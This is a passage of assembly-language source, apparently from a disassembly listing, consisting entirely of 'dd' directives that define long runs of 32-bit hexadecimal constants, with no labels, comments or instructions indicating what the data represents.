		dd 0DDEC8F56h, 62009010h, 4574DCF6h, 0C250E748h, 79DD75A0h
		dd 650AA71Fh, 46957C55h, 3C6C8A84h, 82C17A07h, 0B03EF1ECh
		dd 84F554F7h, 9E472455h, 0B0069E08h, 6B1DC690h,	87DA2B88h
		dd 187FF586h, 4C3D0649h, 0C8F802CFh, 65170FA0h,	4D70F900h
		dd 3B7D42C5h, 0F881C061h, 0AAD4DE55h, 9B310660h, 5603CC2h
		dd 0A7244D51h, 7D500386h, 3900AF83h, 7803806Bh,	2AD7448Ah
		dd 26CCC60Fh, 30D4F971h, 0FE6154A9h, 23B5C200h,	0A61BE985h
		dd 0E384A345h, 4C52C1F9h, 4C7879C4h, 700FB854h,	0FD004710h
		dd 0EB4FD8BAh, 18101660h, 3EE8DE34h, 650EA780h,	4F066DD2h
		dd 30A06904h, 0A888F805h, 51663E4Bh, 0C72F598Ah, 0FF78B3A0h
		dd 2B4FDC98h, 86039C92h, 0C3AFC95Bh, 5E2018A0h,	3D46A1BAh
		dd 0EDFC8B09h, 0F8BC0108h, 84505387h, 14D3FDh, 0EBA2654Ah
		dd 0F0B29A44h, 3970258h, 0E0FCDC33h, 46602B74h,	2CFE440h
		dd 38DB0710h, 0ED2EB340h, 52186E48h, 0F8798F19h, 4C0412D2h
		dd 0AC745058h, 640733Ah, 95548551h, 22BC3F10h, 0CD9A19A3h
		dd 9E5138B9h, 57837A41h, 0D1A94BB8h, 0AC244427h, 0FBF1352h
		dd 1A102349h, 19086B8Bh, 8A9D30ABh, 818FBB9h, 670C77EFh
		dd 8371E9h, 897C3C68h, 0F3EFF0F9h, 33C43D07h, 36F086F5h
		dd 36C24580h, 98C1D2C0h, 0EFC80C02h, 48CC6125h,	7485D4h
		dd 7048F5EDh, 538ECDCEh, 1763C515h, 263FA4h, 1486A9EDh
		dd 6B62ACh, 61974F2Ah
		dd 0E6D7C1B2h, 0FF1CF302h, 43201EAFh, 0ED8B88CEh, 2BCD0070h
		dd 64CA79C3h, 0B2035FBAh, 0B9EFF8D0h, 9A91002Ch, 883246FBh
		dd 950FDAA8h, 0E16A595Eh, 7219B1E9h, 0ED003833h, 8F64A82Eh
		dd 5763C20Ch, 0CE5EC8h,	0BD51FB49h, 0EB617A7Fh,	8A8F9700h
		dd 4DA49CE7h, 27B10094h, 1B7D54CAh, 931CE12Ch, 0A5805B5Fh
		dd 25C98092h, 0C3D58866h, 5EF92464h, 41805C94h,	15EA20h
		dd 7B0123D7h, 7A47ED79h, 5833B60Fh, 155296Fh, 257EA0B4h
		dd 4D1E00FEh, 0B100321Bh, 292FD2F7h, 3CC68833h,	0EE9E2467h
		dd 0AB14C00Ch, 498545AAh, 0A90F0E03h, 93343A70h, 4022A0CEh
		dd 897D00D8h, 0DDB7E9FBh, 46039B58h, 0D0931D96h, 772DD8F5h
		dd 1034000Fh, 29D2BAEEh, 37787673h, 0FF38A800h,	23E3E714h
		dd 27771F25h, 7AD9003Bh, 0EA80972h, 8954E90Dh, 98F04018h
		dd 183B611Dh, 0D3AAA1ECh, 796370E0h, 0DB848300h, 0EAEEDF75h
		dd 0FC307ACh, 765A1E7h,	8155A020h, 2CB864B8h, 43F37318h
		dd 0E07B7880h, 401E0048h, 0CDC5EF15h, 73009641h, 2FEE0DB9h
		dd 0C1B1D3Bh, 0ABD4B8E8h, 0D81B1970h, 0C1405A67h, 0B9D3215Eh
		dd 10B0B420h, 329116E9h, 0B9728206h, 48EF1Fh, 76BE2006h
		dd 3F16F099h, 0FB524207h, 0AFC0561Bh, 0F25FBD40h, 44A7007Bh
		dd 2721B57Ch, 5061ABCh,	18DD2BA5h, 24B03861h, 0C0215180h
		dd 0E889375Ah, 213508CCh, 240F0EDBh, 9CA053ADh,	4B4A5C52h
		dd 0C8105406h, 0B9B985h, 0D470634h, 0FEF2072Bh,	0F6DC5650h
		dd 0E1B40h, 0A253A62Fh,	19134C57h, 43A43407h, 64B1991Fh
		dd 4983BEA9h, 500B22D3h, 0C1F5B800h, 19B48026h,	24EB0359h
		dd 0ED55B777h, 0EAAA2101h, 170FA05Dh, 1B11204Eh, 0C72380CCh
		dd 2B16563h, 4EDCED7Ch,	0B4A0DF81h, 0F2F77788h,	0E932F51Eh
		dd 143B2B03h, 2004600Fh, 0BEF62DEBh, 0AF22CB07h, 3B302CE5h
		dd 779F0F4h, 9E677A65h,	38D05151h, 719CCCD2h, 0BD02FC90h
		dd 0A45A3B32h, 26BCB031h, 21830824h, 6D58F8F0h,	73240081h
		dd 0B3886BC4h, 50155C3h, 45A8742Ch, 54F88E28h, 6BD303A2h
		dd 0A425B4DEh, 27683862h, 0A1C818D8h, 0A021351Fh, 0AB6388A1h
		dd 24839F00h, 10D61FCh,	0B8709660h, 80A1DD27h, 0BB822D21h
		dd 68AF08h, 45705564h, 0CE488A7Bh, 0BC0D49h, 7929BB0Eh
		dd 98DB6Dh, 54E04CCAh, 6E5613B3h, 2EC1F900h, 0AE191270h
		dd 7BE1809h, 0C9143938h, 0CD809F00h, 0A46488BDh, 63AE18D0h
		dd 0F74A215Bh, 0D65D9F00h, 19BCBD26h, 201548F5h, 3FCB2060h
		dd 0D00A51B7h, 0E4CF5DCAh, 5BC01B9Fh, 3FBBA62Ah, 1AAB006Eh
		dd 0C1F616CCh, 0B705B407h, 624FE919h, 3D23D06Eh, 0D85FCF00h
		dd 73873BD7h, 168E019Ah, 0B426CEA4h, 2B9193F8h,	9EC3C00h
		dd 7B5B18Ch, 0A77D39C8h, 4BD06329h, 0FF681FF9h,	0C5885964h
		dd 5F248260h, 5B102110h, 0C98036C8h, 0E3B924BDh, 8CBA0094h
		dd 3DE76DDBh, 1A0AA9A4h, 0B8BD0961h, 7F9C22C0h,	0B4F551CDh
		dd 4D00B80Ah, 0BEDD9F68h, 0F44D1574h, 0C94F016Ch, 0C30D6E7Dh
		dd 7728CE4h, 5F1C9B7Ah,	37822F8Eh, 0F4826250h, 0B08082D6h
		dd 7A76E1B4h, 0D828218Eh, 0A724298Fh, 58E8F821h, 24008066h
		dd 45A91305h, 0A41B096Ch, 9FF80464h, 3865CC31h,	9C1E0F7Bh
		dd 0A78AE192h, 0F8288C8h, 9DDC893Dh, 0E8FC1B88h, 48F5FBF7h
		dd 0FC52F6EAh, 0E0F7F22h, 85ECC929h, 0AF05C172h, 0D43A3B26h
		dd 14003C23h, 0AB3D5EADh, 3A9E09DDh, 5C1044C1h,	0B400389Fh
		dd 59180B39h, 6715E7Bh,	99D80377h, 0F32CD908h, 418054AEh
		dd 157B7F55h, 21721625h, 0D30C5DEDh, 0B900EFF7h, 0F1E316D0h
		dd 0A7741FE7h, 8008EC2Dh, 82CAB15Bh, 800E5CCh, 0CE7A9020h
		dd 768A1309h, 0EC9F13D4h, 7964005Bh, 339544B1h,	98F33B1Fh
		dd 63A22880h, 147C8BC2h, 0CCAF2E49h, 3B431FBCh,	0F9DE7D00h
		dd 935186B6h, 8FA9F405h, 0A488725Bh, 0BD7852h, 7D0CE514h
		dd 0A1204483h, 0E6707472h, 8F7FD013h, 0CC10E03Bh, 684CC00Eh
		dd 0DF0402h, 183DE828h,	0A92FA25Ch, 9D014CB2h, 69235BD2h
		dd 20703056h, 53E501ECh, 0F1CF276Bh, 21718197h,	68433E4Fh
		dd 28C19441h, 43035E9h,	4E82038Fh, 227E4698h, 0A60E203Fh
		dd 6D0A4CDCh, 0FD58206Ah, 1E0CF7D9h, 40EAC81Fh,	34407217h
		dd 5B86EEA8h, 66D60326h, 4A75DFADh, 40E80818h, 4B2120h
		dd 3EE1B58h, 0B1706452h, 0CC7DB24h, 0DE618900h,	0B4014BCh
		dd 7231B5D6h, 4F579081h, 74E434DDh, 46D2070Fh, 0D79818B6h
		dd 90DBFCA4h, 0F16C1F78h, 0F42CDCh, 4F1F6F35h, 0F0B217FAh
		dd 940AC892h, 58731946h, 825B5280h, 86D486D6h, 35F43D54h
		dd 0A45B9A00h, 4F9EF048h, 55C212BFh, 0DF54402Dh, 13D494C8h
		dd 18FF1CB2h, 7D9F04FCh, 328905CDh, 0F27F2042h,	772B19Fh
		dd 2171500h, 0C12B91BDh, 68A80D71h, 2259B021h, 3342F290h
		dd 0F313D9A0h, 966640Fh, 16554EA9h, 49C57000h, 1F366B14h
		dd 81DEB6h, 5FC31345h, 413840D9h, 32AE80CAh, 30E1E7F8h
		dd 0D885003Dh, 0D65F3658h, 4B07431Eh, 0ADA5244Fh, 0CED4E180h
		dd 556E3B7Fh, 56042001h, 0C0163CB2h, 44750A92h,	667E7FE4h
		dd 82767300h, 0AF34F3EBh, 0A535E455h, 0C440FD04h, 1586A50h
		dd 76B49A67h, 83B14B28h, 7E220220h, 0F4287CDCh,	18B96F90h
		dd 97CC7C7h, 0F3685C10h, 7A97F403h, 0D01D4A76h,	0E8C8D0h
		dd 54946353h, 35EEC756h, 0F2FA3240h, 0DEE10034h, 0E2A95EE3h
		dd 9700B64Eh, 0BB797D38h, 80AE3FEAh, 120066B5h,	7C0B5CD6h
		dd 0C17F96h, 4D1638DFh,	0BD487718h, 5CFCA008h, 920F80ACh
		dd 0F54EB184h, 34984C07h, 0A444BB7h, 0A0896840h, 6F7EBF7Ah
		dd 0DE2C1101h, 71360321h, 305C7442h, 0C90F2EACh, 4259B113h
		dd 0A15ACED9h, 0A71B389Ch, 603E598Ch, 0CA00C641h, 2D926CB1h
		dd 384A4672h, 5000F6Ah,	8433DFAAh, 32008096h, 0B17EC451h
		dd 2A648171h, 0C89A3Ch,	0CAE1F88Fh, 0B44E3C0h, 0D4841600h
		dd 0CD23922Bh, 0A57700F9h, 0C7C91E82h, 4A008F71h, 3F3D18BCh
		dd 0DC8DE8h, 325B9669h,	0B17CACEEh, 7F8FA501h, 993470F0h
		dd 9B8BD982h, 0F086742Fh, 0A53D79B0h, 5FD9186Dh, 2C4710h
		dd 0AB178A40h, 26749BC9h, 0E9947200h, 3E853846h, 0CE39CA9Dh
		dd 97EB00F3h, 0D21260DEh, 10001AFAh, 505EB01Fh,	0B4E432h
		dd 0E517C269h, 0E69F6AB6h, 0CB83D52h, 4CEE148Ch, 6E2E3E8Ah
		dd 1BC4728h, 64A21791h,	80942883h, 75C4E5B9h, 0C068BF47h
		dd 4473BE50h, 0F0FA54ABh, 7FB49001h, 0C78788EEh, 1C33057Bh
		dd 0E4704A52h, 5C68B120h, 442180B4h, 24A58C0Dh,	94D30F54h
		dd 405F4AC8h, 786CCB67h, 0C2E176BAh, 0F8914C4Bh, 3C18074h
		dd 3EC00D3Dh, 68871E6Ch, 0F8888692h, 0BAE4214Ah, 0CB69F907h
		dd 0C6E79C4h, 0C051506Ah, 0F9CEB499h, 6C001B2Bh, 310C9199h
		dd 4875C2BCh, 8C81D454h, 24D202A6h, 33B8FB8h, 3A0E18D7h
		dd 0B1C391h, 0D0CD99F7h, 609283F3h, 0D11A24h, 0F5B57500h
		dd 0E49701C6h, 79A6621Ch, 444C92A0h, 420CEF48h,	0F961015Ch
		dd 78FCCB68h, 21C0480Ch, 97F9C9BBh, 2CFB0211h, 9B0E27CCh
		dd 5D33D4A0h, 9D00DBEFh, 1C1FA6EDh, 608790A7h, 6E15D139h
		dd 0F059E35h, 0BBA82B7Bh, 204AE449h, 9BE74A8h, 29E33E11h
		dd 196CDE9Ah, 0D8200442h, 0DAD9F2CCh, 8A043Eh, 7F58F49Fh
		dd 1C9ADC6Fh, 0C9D6524Fh, 940220B6h, 2400738Fh,	53D0FDDh
		dd 0FBAFC3F2h, 48A854AEh
		dd 6C404C51h, 0E831886Dh, 0BA08A8B7h, 0E72600ACh, 0DBF3344Ch
		dd 0FF495C4Bh, 8B5E00FCh, 9DF821BDh, 6A040057h,	0BB78BC5Fh
		dd 0F7064CBAh, 15B3791Fh, 83311280h, 3EB049DAh,	78E88010h
		dd 0CD14B200h, 0CE329788h, 7C733CDFh, 31025E05h, 75D8445Bh
		dd 0A48CC80Fh, 0C61C5200h, 34AB9105h, 0EB8F1831h, 8956D1ADh
		dd 69072F7Dh, 0B7B33BD1h, 0CCB02D00h, 902B0009h, 0ACCE7BA1h
		dd 0A3545D1Fh, 9F0036A8h, 0D94CF2CAh, 11C6417h,	1F316324h
		dd 8A1697C9h, 0C4490FC0h, 0A000F9A4h, 40DA29FFh, 0FEBA0369h
		dd 8E417565h, 0A109A679h, 0B05A792Eh, 12359544h, 4F5F04BCh
		dd 0F460CF6Ch, 0DBB22E92h, 0DAB74803h, 0DF4D12h, 3BE604C9h
		dd 0FD82C6Dh, 0DC6B6307h, 0FDC5C1FCh, 0A60ED803h, 0B09000ADh
		dd 0F27E5BABh, 0C700B3D8h, 0E7A43ECCh, 0A9F4FC9h, 0AFF0668Eh
		dd 0FBB009ECh, 0F480E09Ch, 1904AAB7h, 0BDC760F5h, 0EEE6E481h
		dd 0F9046C0Ch, 7894CB73h, 0D0038A2Ch, 914EA7F9h, 15A99002h
		dd 0D94001B3h, 0B8A504B5h, 36CC2092h, 0B17D0302h, 0C498DD76h
		dd 96C52C34h, 0C93B010Eh, 308ECEB8h, 0AA044EECh, 0EEAEBB1Ch
		dd 2C30B8C8h, 5BDAFCh, 3216D1F2h, 121C3E71h, 5380F045h
		dd 9552BC7Ch, 162CB073h, 60D0A0BFh, 0AD849E90h,	4B954E10h
		dd 9DC56CB0h, 228B6900h, 8164866Bh, 44449057h, 2419BD52h
		dd 0CF119DB2h, 13D7B6D4h, 148F98E1h, 140060DCh,	2598A9Eh
		dd 0DC407B3Bh, 68B74C76h, 4F3C8D83h, 0DEDF1900h, 8CAADDE5h
		dd 0C8FD00EBh, 5EA0367Ch, 45315CC3h, 878D6950h,	0F1F848h
		dd 0FE702A8Fh, 7A2B0205h, 4F753200h, 5F15666Bh,	9F173971h
		dd 1FA4BB01h, 62EF5591h, 38A00D0h, 577F3263h, 3DA100B0h
		dd 3115CF40h, 0B3027DC2h, 0C4C89117h, 0A0C676Ah, 8084533Eh
		dd 0A6D7E85Bh, 0D301A519h, 3CBF0A2Bh, 0C5DCFAD9h, 13F10BA3h
		dd 342567ACh, 65B04F05h, 0E2FFFA40h, 0A006B84h,	0A0D2F0DCh
		dd 13DDBE4Bh, 77D51D6h,	91C0BF38h, 9411574Ch, 1FB4D490h
		dd 311DFBFCh, 22511659h, 0E330F031h, 10A258F4h,	6C105D8Bh
		dd 560004E3h, 0A6094229h, 153C0A74h, 0ACAB9F2Ah, 0A543C901h
		dd 0CEF828A8h, 333739C0h, 0D6D25500h, 1F619AEFh, 9D59C08Bh
		dd 5D38E92Bh, 0E84D8A13h, 0FBCF3820h, 3CFF0054h, 7111F776h
		dd 0F790261Dh, 4C772A00h, 736DEB84h, 803899BCh,	1FCD500Eh
		dd 0C7712BBAh, 16583802h, 0A3B9E193h, 0D8B69FB0h, 9CA27FFh
		dd 3389DE9Ah, 8DE82013h, 2C98479Fh, 2C38803Ch, 0C5926C1Fh
		dd 0C002DC1Bh, 3EB4512Dh, 4E80598Dh, 9A1F8903h,	0C80EBB4Ah
		dd 0E0F6A257h, 9D443DC7h, 0F858D0B5h, 0C92DA506h, 650339FDh
		dd 0C48126CFh, 1FE6C08Bh, 492E6F30h, 8CF6477Fh,	8D6F7094h
		dd 0B72A0E1Ch, 801C18CBh, 0FC8153D4h, 3BABBB95h, 8FBC080h
		dd 0CCD0DFD7h, 1700B87Ch, 0B510A1D8h, 70AE0CAAh, 0AB590393h
		dd 4A77369Fh, 0A7BB41E0h, 0E786CB01h, 0A23562DBh, 6E10C883h
		dd 0C993679Ah, 0A0A1B83Fh, 129C00BCh, 0B791946Dh, 349A6433h
		dd 31A85E1Fh, 3511E17Dh, 9120C8B6h, 0A7372CDCh,	7A8C114Ch
		dd 29408800h, 0CDB8DDEDh, 0E1A4059Ch, 0C9EA8AA0h, 517CF03Ch
		dd 79251A07h, 5B00BC30h, 15E67271h, 0D8B0FAF3h,	424E0E16h
		dd 9467DD7Ch, 0C13CE883h, 9F968FF8h, 99E89516h,	9D433000h
		dd 32DC817Fh, 8D293DE1h, 0F30DD910h, 109CCF01h,	81F7FFACh
		dd 449D0829h, 22847B11h, 5542F120h, 10128C11h, 0CD039BA7h
		dd 0D2931C19h, 75911ED0h, 0FA11AF1Eh, 624604C1h, 8801B78h
		dd 2B924F3Ah, 0C61CA6CEh, 0B400CC8Ah, 0B8ACD0B1h, 23D90722h
		dd 771BB9FBh, 388305Bh,	0E73CF860h, 0EBDD00BDh,	0E4F96369h
		dd 0F5F96h, 7DB80414h, 5A000EBEh, 31472423h, 5C374488h
		dd 0E707A338h, 1A2AB14Bh, 6C5080D0h, 60B39E2Fh,	2B07DF00h
		dd 884EF01Fh, 0DC5E0010h, 3CABAC4Fh, 623C4B89h,	0CD4C37h
		dd 756B3245h, 1261FB6Eh, 0AC8DD8h, 8FD0ED04h, 68001571h
		dd 97010265h, 5C0B7ABFh, 797CFAF1h, 7B2B77CFh, 7DF626B6h
		dd 1981008Fh, 538F3AF4h, 2A987B18h, 980CD720h, 545C0047h
		dd 0C2B90B70h, 880F4432h, 60B6C809h, 1076F4BDh,	0C3B0C0F3h
		dd 0DCCC387Eh, 58D99C00h, 8AAA797Bh, 6AA501D6h,	7108DDE7h
		dd 2075DCBDh, 0CC736200h, 6B65CA4Fh, 0F80B009Bh, 0FFAEBABh
		dd 1C0E0416h, 0E0D378BDh, 416F0515h, 8C5F00C1h,	0CA83F86Ch
		dd 5201D4BEh, 1A7035FBh, 0A840824Ch, 7E6730Dh, 135111EBh
		dd 1653A10Eh, 8B89E00Ah, 0F903A000h, 0E8A3C488h, 1C700Bh
		dd 0F5DE0CE4h, 0FDE9BAFAh, 11915601h, 7D987C57h, 48C0A231h
		dd 487A48C1h, 0A56A9607h, 0FA6B4016h, 9F025E85h, 0DC74030Eh
		dd 4094802Dh, 14D35CF6h, 8CEC21CFh, 9F63E21Dh, 0DA33408Bh
		dd 7BAE2B8Dh, 479BB41Eh, 0A60CE8A8h, 211B7046h,	0C0D500F4h
		dd 0FF7E7764h, 0B1139AB4h, 0A840E85Ch, 0A9DDB2EAh, 0AE621F2Ah
		dd 8870CED9h, 2F896DFh,	4D42D0BAh, 473E080h, 9E00A98Ah
		dd 7057941h, 3F55C1h, 1EC5EFC8h, 0B38DF4BEh, 195DCE1Fh
		dd 0A58BE640h, 3FC9D85Eh, 398301CAh, 826B53AAh,	138506C0h
		dd 0C4B3E81Fh, 20C5578Fh, 0E41F7058h, 4B750E21h, 0A3EEA5ACh
		dd 88EF6760h, 20A86E5h,	84995228h, 696E300h, 3F204BB5h
		dd 7C733C6Fh, 53C090A0h, 833EA4E8h, 561BC080h, 0A773F6EDh
		dd 9800E6F0h, 0B178893Fh, 4C41D7h, 4E8EDAA5h, 1590EB7Ch
		dd 369D9301h, 0DFF84082h, 18669BCCh, 85692CAh, 0A5006934h
		dd 0DDFD77ABh, 0A3D868h, 0D3A29136h, 13E0C0C1h,	9E05A616h
		dd 724A6C00h, 73F4BBh, 14F77D68h, 39D8788Fh, 0CEAC7406h
		dd 3087A98h, 0CF2A75Ah,	96A0076Fh, 9B00E173h, 0AC0D4791h
		dd 41B7982h, 58BADDDEh,	0E320C05Eh, 0B41F9A1Ah,	242651D1h
		dd 4798003Dh, 0A5F837ECh, 528A0092h, 0C3D0DCF3h, 5B007BEFh
		dd 1E6D1B98h, 77F209CEh, 0BA1739B6h, 0FD37C003h, 7DF08380h
		dd 2C000B1Dh, 35239AE1h, 7AF24868h, 0BA7F6Ah, 8065A682h
		dd 9C61B0E7h, 42CEA92Eh, 7FC65900h, 2411F1h, 0AF883DC9h
		dd 0D8A6A17Bh, 719AB91Eh, 6718F418h, 9E480C5Dh,	3F10F96Bh
		dd 2DEA871Ch, 0C3950D4Fh, 0D8B530BDh, 50C3B43h,	847B6BCAh
		dd 7050879Ah, 8D36D1Ah,	0BFB06F02h, 43639CA1h, 8C118058h
		dd 494A01FEh, 59B101A3h, 6CA42481h, 666D1300h, 5EBC2AF6h
		dd 0A670ED6h, 3C20308Ah, 0E5E8DBC0h, 0E1FC8F00h, 95A99B82h
		dd 0EB3604D5h, 803FC4A8h, 480D04EEh, 92B1FF00h,	0ABE52B60h
		dd 0E3C0260Bh, 0DE9E0299h, 4C7AC636h, 0FE160200h, 45A8841Ch
		dd 22F4004Ch, 0B1F772B8h, 62005AEEh, 0B6D666BFh, 9278B7Dh
		dd 417C9655h, 17FF080h,	89002CCFh, 2F5C83E2h, 0F56340h
		dd 0E6540D27h, 0CF7AD491h, 4BABF901h, 670B6BCCh, 1ABA9050h
		dd 1B6000AAh, 0D3F90503h, 0DF00138Fh, 24193ACEh, 1D685761h
		dd 0C0D9FBF1h, 0E1820DC3h, 3D009636h, 6AEB3915h, 7550E9h
		dd 21381BB1h, 51723C2Eh, 0A4998800h, 641D2AE4h,	60C10EC3h
		dd 0A080DA07h, 0B5E09CF3h, 80824E3Fh, 59E95A44h, 6D6324h
		dd 2F47C4E3h, 0B0B990F6h, 4E6BD800h, 6A7A3FADh,	70A0746h
		dd 0BBE92708h, 6F805E00h, 250073C4h, 48752D6Eh,	3923DEh
		dd 4CF48A3Fh, 5F3D282Eh, 80E91400h, 9EE7901Eh, 37D700F0h
		dd 3F3B10DEh, 0F9FCC081h, 0DBE94E00h, 87194C84h, 3286179Eh
		dd 2354003Dh, 2F1098EDh
		dd 0EA8EC802h, 426DEF2Eh, 9080C86h, 0DCE5009Ch,	1983EE98h
		dd 0B8137163h, 2E0055E3h, 0B3495BFEh, 0FA2D00CDh, 0C999FD18h
		dd 0F026F93Ch, 0F88EACA3h, 9F684023h, 249B30CBh, 3FBC04E9h
		dd 7C062E00h, 0AA6B9A8Ch, 0A3F46F00h, 60F1E088h, 798D1EEFh
		dd 0BE1A000Ah, 9B2B4D25h, 0FA75907h, 2DF0AD8Bh,	0F44D8D4h
		dd 0CED23646h, 243001ACh, 71184201h, 569B9A62h,	0C1C85F4h
		dd 8A9369Eh, 0BF00A620h, 6901D09Ch, 3B604D3h, 0AB022518h
		dd 88B1716Fh, 9D5B7053h, 17D2C500h, 21A97C1Fh, 0DF3D008Ch
		dd 26C8C406h, 0B101620Bh, 0D1AFC222h, 6C604F86h, 0D7BA0068h
		dd 0C533874Ch, 600E2942h, 20C824h, 892BC70h, 0F211EADFh
		dd 170D0048h, 0BDC866ADh, 1C1D4D28h, 0E6807F86h, 8B7926F4h
		dd 663A1355h, 42B707E8h, 7E58A0FFh, 0E37B7321h,	828F6812h
		dd 0C0E1A800h, 13EAE47Dh, 70E4427h, 0E1544A48h,	0D4AADB90h
		dd 163B7633h, 5E1F05B0h, 6BC0A956h, 1E73A27Dh, 1E4723D1h
		dd 0A0440066h, 8C96D793h, 27045405h, 0ECA0064Eh, 88DF5CC1h
		dd 0ACA66180h, 0D79831F2h, 8007B678h, 0D86B7967h, 0BB8189D0h
		dd 0EE69009Ch, 5D3F41B8h, 0C000874Fh, 4D0E971Ah, 7A5E802Ch
		dd 0AD7E00BBh, 0F7FF3F6Fh, 0C84E2905h, 3C8E7005h, 0C33004C3h
		dd 433AA006h, 5D763F19h, 5C7FAA8Ch, 13001E09h, 43B614D2h
		dd 0B772CAh, 18EEC8EDh,	0BC4D0519h, 2842F002h, 8162F4BFh
		dd 0F7225FF0h, 48003C28h, 0D3BE754Bh, 9F00A316h, 6188F50Ah
		dd 190E974h, 18C2D723h,	0D1AA7662h, 45984098h, 0F3000A27h
		dd 95EFDCF2h, 0EAA0DFh,	83468B50h, 0B716BE2Ah, 0A8F3F000h
		dd 679FD66Bh, 0CC041852h, 3702F8A7h, 3CD068C0h,	0BD6593h
		dd 8F47D53Eh, 0A8CC9522h, 7A9E5A1Fh, 767865h, 2943988Eh
		dd 285DDFB2h, 9F644501h, 94C5290h, 1BD9CC8h, 8381702Ch
		dd 3802DDD8h, 0F4200028h, 0C5C410CFh, 46D4A911h, 713E5D0h
		dd 55A6E402h, 0C097C5AFh, 761D16C0h, 705A7D07h,	20509BA3h
		dd 1D3B5C6h, 2DD189B2h,	0F4D4E8B6h, 42005073h, 933A1DADh
		dd 0E2C24CA4h, 0BD46006Bh, 0E801AC0Eh, 0F1028FCEh, 759593B0h
		dd 0D39FE068h, 72F83Ah,	5BB15F81h, 1018F670h, 0D9C0CF00h
		dd 6AD5ABD7h, 6B120273h, 8C2AE596h, 0E05260C8h,	5CD3E800h
		dd 0D7AB4049h, 909F7691h, 586B0010h, 95419932h,	6E02486Ch
		dd 0F88EDD46h, 14245290h, 8F2527E4h, 0A8C8628h,	0B3624858h
		dd 33660180h, 7516898Dh, 30FAF41Ch, 45703B00h, 0C13ED5D8h
		dd 5E463C77h, 6A055BFh,	98E27800h, 7AE11FD1h, 0F7230096h
		dd 5CF0E776h, 7E1EBE69h, 1180BFE3h, 0E075DBBAh,	835200C8h
		dd 0B6F36BD7h, 0F076A44Ah, 0D0193000h, 7B04EA26h, 60C8C0BEh
		dd 0F5834EC7h, 8101B876h, 0D1A4E75Eh, 9420BBF6h, 5DCF12EDh
		dd 0BA48A034h, 0F32DA23Fh, 47A8D703h, 0AAABCCC5h, 529883E5h
		dd 4B0930E9h, 9F5A3820h, 22455301h, 0F7418771h,	9F69DFCh
		dd 0DDB6A6Bh, 41AF8484h, 0BEB4E84Fh, 6C0BD02Ch,	8D00B6A4h
		dd 1140A2Ah, 30475400h,	67FB7766h, 744E736Eh, 768E1E9Bh
		dd 52FA803Eh, 0D6BBA475h, 0EC518628h, 800D1B3Ch, 845C9357h
		dd 1A686Fh, 5F7C9A50h, 7B21F839h, 224C8500h, 0D45A096Bh
		dd 4B6D0433h, 0C0B7C707h, 0BF9E3ECDh, 0A2027A05h, 0F8042ACEh
		dd 58F07DD6h, 777300FDh, 0C907B171h, 0E5009D24h, 38BA13B9h
		dd 0A0166Eh, 0F5F66785h, 9218ACC6h, 80D8903Eh, 6A8D2095h
		dd 0FF540CEFh, 58CCD7F1h, 0CD630004h, 0B2AC68D3h, 4E1D02C7h
		dd 0B418E5DAh, 8071C670h, 0EB2467C4h, 0CD00A04Dh, 4866B18Bh
		dd 556800F2h, 50941D09h, 320CF720h, 981ABE82h, 0B40B5C79h
		dd 2C87A1Dh, 678B3CCBh,	0AF9064E3h, 401D74B2h, 0C440FE35h
		dd 0F834E479h, 8DA81289h, 126080D0h, 0BB00B1D3h, 0B2873785h
		dd 4CDB43h, 4B35AA3h, 6278957Fh, 82C65F00h, 461CEE2Fh
		dd 0C9F509B0h, 14A02EEDh, 0EDF039Ah, 0CD681B00h, 0FF5864F9h
		dd 25E948A7h, 73A64700h, 8FB09B65h, 4ADB8600h, 0C3E73CB4h
		dd 419E1D79h, 853680EEh, 37E36C0Dh, 39A85C60h, 739A74B3h
		dd 0BA71195Dh, 71EF8902h, 8BA8D3CBh, 0F00099BCh, 0A4473F63h
		dd 5E65DA4Dh, 46400059h, 2106C631h, 5E494E00h, 16E626ACh
		dd 8B0524E7h, 77400FEAh, 0BEA079CFh, 0BB4CA788h, 0D4BCD1Eh
		dd 5E83E140h, 0D99337h,	9EFD78Dh, 57CE7601h, 0A80B8A00h
		dd 0EBA1C002h, 6EF40EB0h, 2018BD8Ch, 9A00A4D4h,	0FECB907Ah
		dd 5008E761h, 2029499h,	0A0660E92h, 4870B2DDh, 593F903h
		dd 0A3CAAD34h, 64C0E51Dh, 9C879h, 974EC12Eh, 1BEC6AE4h
		dd 7B058000h, 0CE828A56h, 3620F398h, 0CA9A3DE5h, 0D086F88Fh
		dd 3997C2C0h, 632DB1FEh, 22180FC8h, 0C282BFD9h,	746840CAh
		dd 0E344001Bh, 11ADED9Ah, 0A0F3FE4h, 8047CB69h,	5EA9A87Bh
		dd 0E0EC5FCFh, 8C0F2DFFh, 18723ACh, 296A3738h, 0C0D64880h
		dd 0E175DEEBh, 3033FC00h, 8D2278FBh, 0B489014Bh, 0F623DB36h
		dd 0BD8FC72h, 7D3FBE00h, 4B7B95B8h, 1B1F00F5h, 0EF6558BCh
		dd 0DCA0FC22h, 53399A72h, 756680D0h, 64BE3C9Fh,	0C33E0E40h
		dd 918FB7Dh, 0F037CEC2h, 10BB80A4h, 7F50D8h, 8120E045h
		dd 0D21C535Ch, 1B04CF75h, 0D354EB88h, 0A6C1F8B3h, 60A18746h
		dd 0A400C607h, 99364362h, 0E2BF757h, 0D36C9A8Ch, 28BB003Dh
		dd 0B6198960h, 31B08801h, 49E8322Dh, 0BE413080h, 0D6CF4248h
		dd 6BD3B900h, 3E484ADh,	5F5E0007h, 0D78858C3h, 0A2005D1Ah
		dd 10512767h, 0A462C0h,	0F8EF435Bh, 1814DC63h, 3000B04Fh
		dd 0FD90AF9h, 84EA0F2Fh, 792136D8h, 0C8C2CC20h,	43008A41h
		dd 687CE340h, 2850Dh, 764435FAh, 8DDB6721h, 7D60B607h
		dd 0CED05306h, 2E034F19h, 10035C0h, 4D8B1296h, 0A15CD017h
		dd 5BD4E600h, 460A508Ah, 606B3ACCh, 0C93C005Bh,	4C48EEB1h
		dd 0F9A89800h, 0B2FBD1A1h, 89030h, 0A98E09BBh, 5EBC26DFh
		dd 6B74257Fh, 0E737FD1Fh, 5AEF040h, 0EDD8DDAh, 46221B35h
		dd 0D08A0C41h, 1C18BD08h, 98004870h, 29EA5ABh, 0CB04833h
		dd 0F4871C27h, 0DAB401D1h, 2B6EE973h, 69EE4200h, 0F3F6159Eh
		dd 0E26E3F8h, 86AEB95Ah, 9D6C6E0h, 0F016ECF8h, 0B8802ED1h
		dd 304E0A69h, 0D8B855CDh, 7600962Fh, 0A44FA60Bh, 7C1573Bh
		dd 7B4672CBh, 29ABF00Ch, 0A0B8859h, 0A05F1882h,	2CCE8DF3h
		dd 0FBE9030Fh, 366751ACh, 0F82D72E0h, 0BAE23F00h, 0A04698DCh
